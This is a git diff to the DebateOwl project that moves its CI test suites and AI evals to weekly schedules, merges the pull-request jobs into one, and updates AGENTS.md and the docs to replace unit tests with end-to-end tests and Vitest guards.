diff --git a/.claude/skills/verify-debatelab/features/ai-failures.md b/.claude/skills/verify-debatelab/features/ai-failures.md index c0f1f8a7d..e2a79b3ed 100644 --- a/.claude/skills/verify-debatelab/features/ai-failures.md +++ b/.claude/skills/verify-debatelab/features/ai-failures.md @@ -24,4 +24,4 @@ When an AI request fails, the tool says why in one plain sentence and offers the ## Gotchas - A real 401 from a function makes the client refresh the session once (`verifySessionAfterRejection`). On this stack the refresh succeeds, so the tab stays signed in until `Sign in again` is clicked. -- A timeout needs the 200-second client budget to pass, so no recipe forces one. `src/lib/ai/failure-reason.test.ts` covers its mapping. +- A timeout needs the 200-second client budget to pass, so no recipe forces one. Its message mapping lives in `src/lib/ai/failure-reason.ts`. diff --git a/.claude/skills/verify-debatelab/features/auth-demo-login.md b/.claude/skills/verify-debatelab/features/auth-demo-login.md index aee8c88ce..d4d825cd2 100644 --- a/.claude/skills/verify-debatelab/features/auth-demo-login.md +++ b/.claude/skills/verify-debatelab/features/auth-demo-login.md @@ -41,4 +41,4 @@ Preconditions: - A first sign-in on a new account starts the onboarding tour on `/app`. Its first step (`Welcome to DebateOwl`, `Start your first debate here.`) offers `Start debate`. When the one-time DebateOwl welcome is due, closing it (`Got it` or Esc) continues straight into that step; the verify stack keeps the welcome closed unless the URL is `?intro=show`. The fixtures pre-seed `debate-trainer-onboarding` to skip the tour. The tour is tracked per account (store version 1, `completedUserIds`). A version 0 seed with `hasCompletedOnboarding: true` covers only the next account that signs in, so a second account in the same browser sees the tour. Interactive runs click `Skip tour` (`[data-test-id="button-skip"]`). The tour itself is covered in [current-debate](./current-debate.md). - Sessions are stored under the `debate-auth-local` localStorage key in local-preview mode. Don't reuse stub-session helpers (`e2e/helpers/auth.ts`). They fake auth and prove rendering only. - Google sign-in is not wired to the local stack. Demo codes, email codes and the email link work here. -- The revoked-session check forces one token refresh before it signs out. An Auth outage (network error, 5xx, 429) keeps the session, and that path is covered by `src/test/auth/session-expiry.test.ts`, not by a recipe. +- The revoked-session check forces one token refresh before it signs out. An Auth outage (network error, 5xx, 429) keeps the session. No recipe covers that path. diff --git a/.claude/skills/verify-debatelab/features/voice-rounds.md b/.claude/skills/verify-debatelab/features/voice-rounds.md index 71de520fd..fbfbe6208 100644 --- a/.claude/skills/verify-debatelab/features/voice-rounds.md +++ b/.claude/skills/verify-debatelab/features/voice-rounds.md @@ -6,7 +6,7 @@ Sparring and Crossfire can run as spoken rounds. The student speaks through the - `voice-spar` runs a spoken Lincoln-Douglas round. The opponent is told the round is spoken (`SPOKEN ROUND:` in its system prompt). Each reply comes back as clean text plus signed voice segments, which may keep allowed audio tags such as `[sighs]` and drop invented ones. The browser voice reads the clean text, and no tag reaches the page or the saved round. The scorecard shows `Spoken delivery, measured` (test id `spoken-delivery`), and the saved user turns carry `delivery` measurements. - `voice-cross` runs a spoken Crossfire exchange. The question arrives by microphone, the request carries `SPOKEN EXCHANGE:`, and the clean answer is read aloud. The Jev signal still attaches, and the debrief shows `spoken-delivery`. -- `voice-unavailable`: when the browser has no speech recognition or the microphone is blocked, the switch is replaced by the test id `voice-unavailable`. This is covered by `src/test/pages/SparringVoice.test.tsx` and `CrossfireVoice.test.tsx`, not by a recipe. +- `voice-unavailable`: when the browser has no speech recognition or the microphone is blocked, the switch is replaced by the test id `voice-unavailable`. No recipe covers it; check it by hand in a browser with the microphone blocked. ## How to get to it (user POV) diff --git a/.github/workflows/agentic-e2e.yml b/.github/workflows/agentic-e2e.yml index 41c67b842..4deeca79b 100644 --- a/.github/workflows/agentic-e2e.yml +++ b/.github/workflows/agentic-e2e.yml @@ -3,16 +3,17 @@ name: Agentic E2E # The e2e suite in agentic/ against the local stack in fake mode: an AI agent # drives goal-level flows and judges screens. Recorded flows replay from # agentic/replay without model calls; judgments always call the model. -# It runs nightly, not on pull requests: it takes far longer than the -# pull-request check and each judgment is a paid model call. Run it on a -# branch with `gh workflow run agentic-e2e.yml --ref `. A weekly bug -# bash sends each persona exploring, and on demand one exploration runs -# instead of the suite. +# It runs weekly, not on pull requests: it takes far longer than the +# pull-request check (about 40 billed minutes) and each judgment is a paid +# model call. Run it on a branch with +# `gh workflow run agentic-e2e.yml --ref `. A monthly bug bash sends +# each persona exploring, and on demand one exploration runs instead of the +# suite. The two job conditions below match the bug-bash cron string. # Not a required check. See docs/testing.md#agentic-browser-tests. on: schedule: - - cron: "47 3 * * *" # the suite - - cron: "13 5 * * 0" # the weekly bug bash + - cron: "47 3 * * 3" # the suite, Wednesdays + - cron: "13 5 1 * *" # the bug bash, on the 1st of each month workflow_dispatch: inputs: explore: @@ -42,7 +43,7 @@ env: jobs: suite: - if: github.repository == 'Programcode/DebateOwl' && github.event.schedule != '13 5 * * 0' && (github.event_name != 'workflow_dispatch' || inputs.explore == '') + if: github.repository == 'Programcode/DebateOwl' && github.event.schedule != '13 5 1 * *' && (github.event_name != 'workflow_dispatch' || inputs.explore == '') runs-on: ubuntu-latest timeout-minutes: 45 # Four legs keep each well under the timeout: the page sweep makes about @@ -123,9 +124,9 @@ jobs: if-no-files-found: ignore retention-days: 7 - # The weekly bug bash explores with every persona; a manual run explores once. + # The monthly bug bash explores with every persona; a manual run explores once. plan-explore: - if: github.repository == 'Programcode/DebateOwl' && (github.event.schedule == '13 5 * * 0' || (github.event_name == 'workflow_dispatch' && inputs.explore != '')) + if: github.repository == 'Programcode/DebateOwl' && (github.event.schedule == '13 5 1 * *' || (github.event_name == 'workflow_dispatch' && inputs.explore != '')) runs-on: ubuntu-latest outputs: legs: ${{ steps.plan.outputs.legs }} diff --git a/.github/workflows/browser-nightly.yml b/.github/workflows/browser-weekly.yml similarity index 84% rename from .github/workflows/browser-nightly.yml rename to .github/workflows/browser-weekly.yml index 6978bad10..6734217b8 100644 --- a/.github/workflows/browser-nightly.yml +++ b/.github/workflows/browser-weekly.yml @@ -1,20 +1,20 @@ -name: Browser nightly +name: Browser weekly # The full credential-free browser suite on desktop and mobile Chromium, and # the service worker's offline test against a production build. Pull requests # run only the @smoke subset (deploy.yml), so this catches what the subset -# skips, at most a day late. Run it on a branch with -# `gh workflow run browser-nightly.yml --ref `. +# skips, at most a week late. A change that spans many pages runs it on its +# branch with `gh workflow run browser-weekly.yml --ref `. on: schedule: - - cron: "47 2 * * *" + - cron: "47 2 * * 2" workflow_dispatch: permissions: contents: read concurrency: - group: browser-nightly + group: browser-weekly-${{ github.ref }} cancel-in-progress: true jobs: @@ -53,7 +53,7 @@ jobs: if: failure() uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: - name: chromium-nightly-failure-${{ github.run_id }} + name: chromium-weekly-failure-${{ github.run_id }} path: | test-results/ playwright-report/ diff --git a/.github/workflows/database.yml b/.github/workflows/database.yml index 1c4e164b8..fd33fd2b6 100644 --- a/.github/workflows/database.yml +++ b/.github/workflows/database.yml @@ -3,7 +3,8 @@ name: Database # Pull requests that change the schema, its tests, or the gate run pgTAP and # the database scripts against Postgres alone, about 2 minutes. The full gate # (local Supabase, pgTAP, and the full-stack browser journeys on desktop and -# mobile, about 20 minutes) runs nightly and on demand. +# mobile, about 20 minutes) runs weekly and on demand. Weekly also keeps the +# Supabase image pulls under public.ecr.aws's anonymous data limit. on: pull_request: paths: @@ -16,7 +17,7 @@ on: - ".superset/lib/**" - ".github/workflows/database.yml" schedule: - - cron: "23 5 * * *" + - cron: "23 5 * * 4" workflow_dispatch: permissions: diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index ee440d3b8..3dd3aae29 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -1,8 +1,10 @@ name: Quality -# The pull-request check. Five jobs run side by side so the check takes as long -# as the slowest one, about 2.5 minutes. Slow, paid, and full-stack suites run -# on a schedule instead; docs/operations.md lists them. +# The pull-request check: two jobs side by side, about 2.5 minutes. `check` +# proves the app builds and the repo rules hold; `browser-smoke` proves the +# built pages load in a browser. There is no unit-test job: behavior is proven +# end to end, and the slow, paid and full-stack suites run weekly or on demand +# (docs/operations.md lists them). on: push: branches: [ "main" ] @@ -17,7 +19,10 @@ concurrency: cancel-in-progress: true jobs: - lint: + # One job, so a run pays for one runner start and one cache restore. Every + # step is a few seconds to half a minute; the guards are the Vitest files + # listed in vitest.config.ts, about 2 seconds. + check: runs-on: ubuntu-latest timeout-minutes: 10 steps: @@ -28,69 +33,35 @@ jobs: - uses: ./.github/actions/node-deps + - name: Set up Deno + uses: denoland/setup-deno@22d081ff2d3a40755e97629de92e3bcbfa7cf2ed # v2.0.5 + with: + deno-version: 2.9.6 + cache: true + - name: Documentation run: npm run docs:check - name: Lint run: npm run lint - typecheck-build: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - name: Checkout code - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - persist-credentials: false - - - uses: ./.github/actions/node-deps - - name: Typecheck run: npm run typecheck - - name: Build - run: npm run build - - unit: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - name: Checkout code - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - persist-credentials: false - - - uses: ./.github/actions/node-deps - - - name: Test + - name: Guards run: npm test - - name: Collaboration service tests - run: npm run test:collaboration - - # Edge Function tests import only jsr:, npm: and https: modules, so this job - # needs Deno and no npm install. - edge: - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - name: Checkout code - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - persist-credentials: false - - - name: Set up Deno - uses: denoland/setup-deno@22d081ff2d3a40755e97629de92e3bcbfa7cf2ed # v2.0.5 - with: - deno-version: 2.9.6 - cache: true - + # Edge Functions hold auth, quota and billing, which no pull-request + # browser test reaches. - name: Edge function tests run: npm run test:edge + - name: Build + run: npm run build + # The @smoke set: the app boots, sign-in works, every public and signed-in # page renders without errors, and the first-run tour starts a debate. The - # full desktop and mobile suite runs in browser-nightly.yml. + # full desktop and mobile suite runs weekly in browser-weekly.yml. browser-smoke: if: github.event_name == 'pull_request' runs-on: ubuntu-latest diff --git a/.github/workflows/live-e2e.yml b/.github/workflows/live-e2e.yml index 279573711..f26febdc9 100644 --- a/.github/workflows/live-e2e.yml +++ b/.github/workflows/live-e2e.yml @@ -1,26 +1,43 @@ -name: Live provider E2E +name: AI evals -# Real OpenRouter, Jev, and Exa behind the local stack. Every run spends -# provider credit and takes about 17 minutes, so it runs nightly and on demand, -# never on pull requests. To check a branch that changes AI or research code: -# `gh workflow run live-e2e.yml --ref `. Nightly runs also catch -# provider drift without code changes. +# The AI evals: the local stack against real OpenRouter, Jev, and Exa. Every +# run spends provider credit, so it runs weekly and on demand, never on pull +# requests. The production canary's daily run makes two real AI requests, so +# provider drift still shows up within a day. +# - live: the live provider journeys, about 8 minutes. +# - model-matrix: one case from every catalog model, unpinned, so a model that +# times out or returns invalid JSON fails here before users hit it. About $1. +# A branch that changes AI, research, prompts or model routing runs them with +# `gh workflow run live-e2e.yml --ref ` (add `-f suite=model-matrix` +# or `-f suite=both`). on: schedule: - - cron: "17 3 * * *" + - cron: "17 3 * * 1" workflow_dispatch: + inputs: + suite: + description: "Which eval to run" + type: choice + default: live + options: [live, model-matrix, both] permissions: contents: read concurrency: - group: live-e2e-${{ github.ref }} + group: live-e2e-${{ github.ref }}-${{ inputs.suite || 'schedule' }} cancel-in-progress: true jobs: - live-e2e: + eval: # Forks have none of the secrets this job needs. if: github.repository == 'Programcode/DebateOwl' + strategy: + fail-fast: false + matrix: + # The schedule runs both; a dispatch runs the suite it names. + suite: ${{ fromJSON((github.event_name == 'schedule' || inputs.suite == 'both') && '["live","model-matrix"]' || format('["{0}"]', inputs.suite)) }} + name: ${{ matrix.suite }} runs-on: ubuntu-latest timeout-minutes: 45 steps: @@ -52,8 +69,9 @@ jobs: - name: Live provider journeys env: LIVE_PROVIDERS: 1 - # Repository variable override; empty falls back to db-gate.sh's default. - LIVE_MODEL: ${{ vars.LIVE_MODEL }} + # live: a repository variable override, empty falls back to + # db-gate.sh's default. model-matrix: every catalog model. + LIVE_MODEL: ${{ matrix.suite == 'model-matrix' && 'as-requested' || vars.LIVE_MODEL }} LIVE_OPENROUTER_API_KEY: ${{ secrets.LIVE_OPENROUTER_API_KEY }} LIVE_EXA_API_KEY: ${{ secrets.LIVE_EXA_API_KEY }} SUPABASE_INTERNAL_IMAGE_REGISTRY: public.ecr.aws @@ -64,7 +82,7 @@ jobs: if: failure() uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: - name: live-e2e-failure-${{ github.run_id }} + name: ${{ matrix.suite }}-failure-${{ github.run_id }} path: | ${{ runner.temp }}/workspace-gate/ test-results/ diff --git a/.github/workflows/model-matrix.yml b/.github/workflows/model-matrix.yml deleted file mode 100644 index a532ba23b..000000000 --- a/.github/workflows/model-matrix.yml +++ /dev/null @@ -1,72 +0,0 @@ -name: Model matrix - -# Generates one case with every model in the catalog, unpinned, so a model that -# times out or returns invalid JSON fails here before users hit it. One run -# costs about $1, so it runs weekly and on demand. A branch that changes model -# routing, prompts, or the ai function runs it with -# `gh workflow run model-matrix.yml --ref `. -on: - schedule: - - cron: "29 4 * * 1" - workflow_dispatch: - -permissions: - contents: read - -concurrency: - group: model-matrix-${{ github.ref }} - cancel-in-progress: true - -jobs: - model-matrix: - # Forks have none of the secrets this job needs. - if: github.repository == 'Programcode/DebateOwl' - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - name: Checkout code - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - persist-credentials: false - - - name: Set up Node - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 - with: - node-version: 22 - - - name: Set up Supabase CLI - uses: supabase/setup-cli@46f7f98c7f948ad727d22c1e67fab04c223a0520 # v3.0.0 - with: - version: 2.121.0 - - - name: Install dependencies - run: npm ci - - - name: Install Chromium - run: npx playwright install --with-deps chromium - - # db-gate.sh fails before starting anything when either key is missing. - # Accepted risk (2026-09-24): a dispatch can run branch code with these - # keys, so anyone who can push a branch here could read them. Keep them - # low-limit. - - name: Case generation with every catalog model - env: - LIVE_PROVIDERS: 1 - LIVE_MODEL: as-requested - LIVE_OPENROUTER_API_KEY: ${{ secrets.LIVE_OPENROUTER_API_KEY }} - LIVE_EXA_API_KEY: ${{ secrets.LIVE_EXA_API_KEY }} - SUPABASE_INTERNAL_IMAGE_REGISTRY: public.ecr.aws - WORKSPACE_GATE_ARTIFACT_ROOT: ${{ runner.temp }}/workspace-gate - run: ./.superset/db-gate.sh - - - name: Upload live failure artifacts - if: failure() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: model-matrix-failure-${{ github.run_id }} - path: | - ${{ runner.temp }}/workspace-gate/ - test-results/ - playwright-report/ - if-no-files-found: ignore - retention-days: 7 diff --git a/.github/workflows/staging-e2e.yml b/.github/workflows/staging-e2e.yml index 17a6ae8b1..d9e7aa395 100644 --- a/.github/workflows/staging-e2e.yml +++ b/.github/workflows/staging-e2e.yml @@ -1,16 +1,17 @@ name: Protected staging E2E +# Daily, and on demand from main. It used to follow every push to main, and +# about half of each run's billed minutes went to waiting for the staging +# sync. A frontend merge is checked live by the production canary; before a +# backend production deploy, dispatch this from main once staging runs the +# merge: `gh workflow run staging-e2e.yml --ref main`. on: - workflow_run: - workflows: ["Quality"] - types: [completed] - # Without this, every pull-request Quality run starts a run here that - # only skips (about 600 a month). - branches: [main] + schedule: + - cron: "11 7 * * *" workflow_dispatch: permissions: - # Manual dispatch queries workflow runs for the selected main commit. + # Reads the Quality runs for the main commit under test. actions: read contents: read # Waits for the staging-sync commit status set by the VPS sync. @@ -27,14 +28,8 @@ jobs: # moved past: staging runs the newer backend, and the newer commit's run # tests it. staging-sync-gate: - if: >- - ( - (github.event_name == 'workflow_run' && - github.event.workflow_run.conclusion == 'success' && - github.event.workflow_run.event == 'push' && - github.event.workflow_run.head_branch == 'main') || - (github.event_name == 'workflow_dispatch' && github.ref == 'refs/heads/main') - ) && vars.STAGING_E2E_ENABLED == 'true' + # A scheduled run's ref is main; a dispatch must choose main. + if: github.ref == 'refs/heads/main' && vars.STAGING_E2E_ENABLED == 'true' runs-on: ubuntu-latest timeout-minutes: 25 outputs: @@ -44,7 +39,7 @@ jobs: id: wait env: GH_TOKEN: ${{ github.token }} - SHA: ${{ github.event_name == 'workflow_run' && github.event.workflow_run.head_sha || github.sha }} + SHA: ${{ github.sha }} shell: bash run: | for _ in $(seq 1 40); do @@ -82,7 +77,7 @@ jobs: - name: Confirm staging still runs this commit env: GH_TOKEN: ${{ github.token }} - SHA: ${{ github.event_name == 'workflow_run' && github.event.workflow_run.head_sha || github.sha }} + SHA: ${{ github.sha }} shell: bash run: | main="$(gh api "repos/${GITHUB_REPOSITORY}/commits/main" --jq .sha)" @@ -97,21 +92,31 @@ jobs: uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - ref: ${{ github.event_name == 'workflow_run' && github.event.workflow_run.head_sha || github.sha }} - - name: Verify selected commit passed the quality workflow - if: github.event_name == 'workflow_dispatch' + # A commit merged just before the schedule can reach staging while its + # Quality run is still queued or running, so wait for it to finish. + - name: Verify the commit passed the quality workflow env: GH_TOKEN: ${{ github.token }} shell: bash run: | - successful_runs="$(gh api \ - "repos/${GITHUB_REPOSITORY}/actions/workflows/deploy.yml/runs?head_sha=${GITHUB_SHA}&event=push&status=success&per_page=1" \ - --jq '.workflow_runs | length')" - if [ "$successful_runs" -ne 1 ]; then - echo "::error::The selected main commit has no successful push run of the Quality workflow" - exit 1 - fi + for _ in $(seq 1 30); do + read -r status conclusion < <(gh api \ + "repos/${GITHUB_REPOSITORY}/actions/workflows/deploy.yml/runs?head_sha=${GITHUB_SHA}&event=push&per_page=1" \ + --jq '.workflow_runs[0] // {} | "\(.status // "missing") \(.conclusion // "none")"') || true + case "$status" in + completed) + if [ "$conclusion" = success ]; then echo "Quality passed for ${GITHUB_SHA}."; exit 0; fi + echo "::error::Quality ended in ${conclusion} for main commit ${GITHUB_SHA}" + exit 1 ;; + missing) + echo "::error::Main commit ${GITHUB_SHA} has no push run of the Quality workflow" + exit 1 ;; + esac + sleep 20 + done + echo "::error::Quality did not finish for ${GITHUB_SHA} within 10 minutes" + exit 1 - name: Set up Node uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 diff --git a/AGENTS.md b/AGENTS.md index afd7a60a8..b7a3ea600 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -60,14 +60,13 @@ When unsure, treat the PR as not low-risk. Say in the PR which rule merged it. ## Focused verification -While working, run only the check that covers what you touched: the test file for the module (`npx vitest run `), `npm run lint` or `npm run typecheck` when types moved, one spec (`npx playwright test `). Each of these takes seconds. +While working, run only the check that covers what you touched: one spec (`npx playwright test `), one Edge Function's Deno test, `npm run lint` or `npm run typecheck` when types moved. Each of these takes seconds. ```bash npm run docs:check npm run lint npm run typecheck -npm test -npm run test:collaboration +npm test # the guards, about 2 seconds npm run test:edge npm run build P=$(bash .superset/e2e-port.sh) && CI=1 PORT=$P PLAYWRIGHT_BASE_URL=http://127.0.0.1:$P npm run test:e2e @@ -75,7 +74,7 @@ P=$(bash .superset/e2e-port.sh) && CI=1 PORT=$P PLAYWRIGHT_BASE_URL=http://127.0 Run `npm run verify` once, at the final head, before you push. It is the pull-request check run locally (about 100 seconds) and prints each failed step's log. `npm run verify:full` adds the full desktop and mobile browser suite; run it only when a change spans many pages or Adam asks. -Push once, when the work is done and `verify` passes. Every push reruns the whole pull-request check, so batch review fixes into one push. CI on a pull request is the `Quality` workflow (about 3 minutes), plus pgTAP when the schema changes. The full-stack journeys, the full browser suite, live providers, the agentic suite, and the model matrix run on a schedule, never on pull requests. When your change is squarely in one of those areas (AI or research code, a full-stack flow, many pages), dispatch that suite on your branch once, for example `gh workflow run live-e2e.yml --ref `, and report its result. [docs/operations.md](docs/operations.md#ci-workflows) lists them. +Push once, when the work is done and `verify` passes. Every push reruns the whole pull-request check, so batch review fixes into one push. CI on a pull request is the `Quality` workflow (about 3 minutes: build, lint, types, guards, Edge Function tests, and the `@smoke` browser set), plus pgTAP when the schema changes. The full-stack journeys, the full browser suite, the AI evals (live providers and the model matrix), and the agentic suite run weekly, never on pull requests. When your change is squarely in one of those areas (AI or research code, a full-stack flow, many pages), dispatch that suite on your branch once, for example `gh workflow run live-e2e.yml --ref `, and report its result. [docs/operations.md](docs/operations.md#ci-workflows) lists them. If GitHub Actions jobs fail within 2 to 5 seconds with no logs, they did not run: the account is out of Actions minutes (billing), not failing on the code. In that case run the same checks locally at the final head (`npm run verify`, and `./.superset/db-gate.sh --db-only` when the schema changed) and record the exact results in the PR. A local pass is not a CI pass; say which one you have. @@ -141,26 +140,28 @@ Never weaken a recipe's assertions to make it pass. Prove a change by using it: `npm run lint`, `npm run typecheck`, `npm run build`, then drive the feature in the real app with `verify-debatelab`. New tests are not a substitute for that, and a test-heavy diff is harder to review. -Write a test only when a regression would be costly or hard to notice by using the app: +Tests here are end to end. When a change deserves a lasting test, because a regression would be costly or hard to notice by using the app, write it at the level that runs the real thing: -- auth, sessions, RLS and pgTAP policies, and cross-user or cross-debate isolation; -- billing, Stripe webhooks, quotas, daily limits, and cost accounting; -- migrations and data integrity, concurrency, and the collaboration service; -- parsers, validators, schemas at a trust boundary, prompt routing in the fake provider, and stream accounting; -- a fixed bug that could plausibly come back. +- a Playwright spec in `e2e/` for a client flow (tag it `@smoke` only when a break would stop most users), or in `e2e/full-stack/` when it needs real Auth and Postgres; +- an agentic test in `agentic/` for a journey or a judged screen; +- a Deno test beside the Edge Function for auth, sessions, billing, Stripe webhooks, quotas, cost or stream accounting, and validators at a trust boundary; +- a pgTAP test or `scripts/test-*.sh` for RLS, migrations, data integrity, and concurrency; +- the same, as a regression test, for a fixed bug that could plausibly come back. + +The Vitest files are guards, listed in `vitest.config.ts`: each reads repo config or content and enforces a policy no browser run sees, such as Claude-only routing, the Vercel security headers, the production-target refusals, or catalog parity across languages. Add a guard only for a rule of that kind. Components, stores, hooks and pages are proven end to end, so they have no unit tests; [docs/testing.md](docs/testing.md#guards) says why. Do not write tests that: - restate a TypeScript type or a schema's shape; -- check that a removed feature stays removed, or that a column, file, export, route, or translation key exists (the i18n catalog check already covers keys); +- check that a removed feature stays removed, or that a column, file, export, route, or translation key exists (the i18n catalog guards already cover keys); - assert static copy, or only that a component renders; - only exercise mocks, or can never fail. -Keep a PR's test diff small enough to read next to the change. Deleting a test that cannot catch a real regression is not weakening tests; deleting or loosening one to make a failing run pass is. Never lower a coverage threshold in `vitest.config.ts` without Adam's approval. +Keep a PR's test diff small enough to read next to the change. Deleting a test that cannot catch a real regression is not weakening tests; deleting or loosening one to make a failing run pass is, and so is removing a guard from `vitest.config.ts` without Adam's approval. ## Hard boundaries -- Start bug fixes with a failing test when the bug is in behavior listed under [What to test](#what-to-test), otherwise with a repeatable browser reproduction. +- Start bug fixes with a reproduction that fails: a spec, Deno or pgTAP test at the level [What to test](#what-to-test) names when the bug is in that kind of behavior, otherwise a repeatable browser reproduction. - Stub sessions prove rendering only. Do not call them authenticated backend proof. - Never put staging or production credentials in jobs, logs, traces, screenshots, commits, comments, or docs. Two scoped exceptions reach jobs only through GitHub Actions secrets: - the protected staging values; diff --git a/README.md b/README.md index 7ba939898..be1a85e73 100644 --- a/README.md +++ b/README.md @@ -85,7 +85,7 @@ Always set `VITE_LOCAL_PREVIEW` as shown. Without it the client connects to the ```bash npm run lint npm run typecheck -npm test # unit tests +npm test # guards: repo policy checks, about 2 seconds npm run test:edge # Edge Function tests (needs Deno 2) npm run build ``` @@ -93,7 +93,7 @@ npm run build More detail lives in [`docs/`](docs/README.md): [architecture](docs/architecture.md), [development](docs/development.md), [testing](docs/testing.md) and [operations](docs/operations.md). Backend functions and migrations are described in [`supabase/README.md`](supabase/README.md). [`AGENTS.md`](AGENTS.md) holds the rules the project's coding agents follow. ```text -src/ React client, stores, hooks, and unit tests +src/ React client, stores, hooks, and the Vitest guards packages/core/ Platform-neutral shared code: schemas, validation, languages supabase/ Edge Functions, migrations, pgTAP tests, local config e2e/, agentic/ Playwright and agent-driven browser tests diff --git a/docs/development.md b/docs/development.md index 0f3812bf0..4d39f34d9 100644 --- a/docs/development.md +++ b/docs/development.md @@ -93,7 +93,7 @@ Platform-neutral code shared with the iOS app lives in [`packages/core/`](../pac Follow existing functional React, Zustand, Zod, and shadcn/Radix patterns. Reuse current helpers before adding another abstraction. -Run the closest unit or component test while changing behavior. Run lint, type checking, and build before handing work off. +Prove a change by using it: run the closest Playwright spec or drive it with the `verify-debatelab` skill. There are no unit tests to update ([testing.md](testing.md#guards)). Run lint, type checking, and build before handing work off. ## Collaboration service diff --git a/docs/operations.md b/docs/operations.md index ca3185af1..169a62657 100644 --- a/docs/operations.md +++ b/docs/operations.md @@ -10,31 +10,30 @@ Never infer authorization from access. Never use production to replace missing l ## CI workflows -A pull request gets one check, [`.github/workflows/deploy.yml`](../.github/workflows/deploy.yml) (the `Quality` workflow), plus a short database job when it changes the schema. Both finish in about 3 minutes. Everything slow, paid, or full-stack runs on a schedule and on demand, never on pull requests. `Quality` does not deploy anything; Vercel does. +CI is a fast gate on every pull request plus end-to-end suites and AI evals that run weekly or on demand. There are no unit tests in CI; [testing.md](testing.md#guards) says why and what the Vitest guards still check. Billed minutes are rounded up per job, so fewer, longer jobs cost less than many short ones. -`Quality` runs five jobs side by side on every pull request and every push to `main`. Each restores `node_modules` from a cache keyed on `package-lock.json` (`.github/actions/node-deps`) and runs `npm ci` only on a miss: +A pull request gets one check, [`.github/workflows/deploy.yml`](../.github/workflows/deploy.yml) (the `Quality` workflow), plus a short database job when it changes the schema. Both finish in about 3 minutes. `Quality` does not deploy anything; Vercel does. It runs two jobs side by side, each restoring `node_modules` from a cache keyed on `package-lock.json` (`.github/actions/node-deps`) and running `npm ci` only on a miss: -- `lint`: `npm run docs:check` and `npm run lint` -- `typecheck-build`: `npm run typecheck` and `npm run build` -- `unit`: `npm test` and `npm run test:collaboration` -- `edge`: `npm run test:edge` under Deno 2.9.6, with no npm install -- `browser-smoke` (pull requests only): the Playwright tests tagged `@smoke` on desktop Chromium, port `18080`. They check that the app boots, that sign-in works, that every public and signed-in page renders without errors, and that the first-run tour starts a debate. +- `check`, on every pull request and every push to `main`: `npm run docs:check`, `npm run lint`, `npm run typecheck`, the guards (`npm test`), `npm run test:edge` under Deno 2.9.6, and `npm run build`. The build fails on broken links, JSON-LD, heading order and bundle boundaries, so this job is what catches a broken build before Vercel does. +- `browser-smoke`, on pull requests only: the Playwright tests tagged `@smoke` on desktop Chromium, port `18080`. They check that the app boots, that sign-in works, that every public and signed-in page renders without errors, and that the first-run tour starts a debate. -Per-step timings taken on 2 CPUs, the size of a private-repository runner, put the slowest job (`browser-smoke`) at about 2.5 minutes including setup. +[`.github/workflows/database.yml`](../.github/workflows/database.yml) runs on pull requests that change migrations, `supabase/tests/`, the seed, `supabase/config.toml`, the database scripts, or the gate. The pull-request job runs `./.superset/db-gate.sh --db-only`, which starts Postgres alone and runs pgTAP and the concurrency scripts, in about 2 minutes. -[`.github/workflows/database.yml`](../.github/workflows/database.yml) runs on pull requests that change migrations, `supabase/tests/`, the seed, `supabase/config.toml`, the database scripts, or the gate. The pull-request job runs `./.superset/db-gate.sh --db-only`, which starts Postgres alone and runs pgTAP and the concurrency scripts. The full gate (local Supabase, pgTAP, and the full-stack journeys on desktop and mobile, about 20 minutes) runs daily at 05:23 UTC and on demand. +Weekly and on-demand suites, staggered so no two start local Supabase on the same day (each start pulls the Supabase images from `public.ecr.aws`, whose anonymous data limit failed the Database run on 2026-10-30): -Scheduled and on-demand suites: +- [`.github/workflows/live-e2e.yml`](../.github/workflows/live-e2e.yml), `AI evals`: the live provider journeys and the model matrix (one case from every catalog model), Mondays at 03:17 UTC. Dispatch one with `-f suite=live` (the default), `-f suite=model-matrix` or `-f suite=both`. +- [`.github/workflows/browser-weekly.yml`](../.github/workflows/browser-weekly.yml): the full desktop and mobile browser suite and the service-worker offline test, Tuesdays at 02:47 UTC. +- [`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml): the agentic suite, Wednesdays at 03:47 UTC, and the bug bash on the 1st of each month at 05:13 UTC. +- [`.github/workflows/database.yml`](../.github/workflows/database.yml): the full database gate (local Supabase, pgTAP, and the full-stack journeys on desktop and mobile, about 20 minutes), Thursdays at 05:23 UTC. -- [`.github/workflows/browser-nightly.yml`](../.github/workflows/browser-nightly.yml): the full desktop and mobile browser suite and the service-worker offline test, daily at 02:47 UTC. -- [`.github/workflows/live-e2e.yml`](../.github/workflows/live-e2e.yml): the local stack against real providers, daily at 03:17 UTC. -- [`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml): the agentic suite daily at 03:47 UTC, and the bug bash on Sundays. -- [`.github/workflows/model-matrix.yml`](../.github/workflows/model-matrix.yml): a case from every catalog model, Mondays at 04:29 UTC. -- [`.github/workflows/prod-canary.yml`](../.github/workflows/prod-canary.yml): after every push to `main`, once Vercel reports the commit's production deployment, and daily at 06:41 UTC. +Production and staging: -See [testing.md](testing.md) for what each proves. To run a scheduled suite on a branch before merging, for example when a change touches AI code, research, or the full-stack flows, dispatch it: `gh workflow run live-e2e.yml --ref ` (likewise `database.yml`, `browser-nightly.yml`, `agentic-e2e.yml`, `model-matrix.yml`). Supabase-starting jobs pull images from `public.ecr.aws`, because ghcr.io rate-limits shared runners. +- 